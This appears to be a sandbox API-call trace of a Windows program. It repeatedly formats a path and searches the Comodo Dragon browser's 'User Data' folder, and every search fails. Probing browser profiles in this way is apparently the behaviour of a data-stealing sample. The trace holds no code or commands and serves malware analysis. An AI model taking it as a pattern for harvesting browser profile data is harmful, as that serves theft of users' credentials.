[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.792] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.792] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.793] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.793] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.794] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.794] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
[0052.795] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.795] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*") returned 64
